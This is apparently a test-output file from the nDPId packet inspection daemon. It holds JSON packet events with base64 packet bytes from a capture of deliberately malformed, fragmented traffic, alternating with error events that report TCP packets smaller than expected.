-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562514} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562530} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562547} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562563} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562581} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562597} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562611} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562627} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562645} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562661} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562676} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562709} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562722} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562735} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562748} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562770} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562791} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562806} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562818} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562832} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562845} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562860} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562873} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562885} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562898} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562910} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562925} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562937} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562950} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562969} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562982} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029562997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563011} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563024} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563040} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563052} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563065} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563080} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563093} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563106} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029563118} 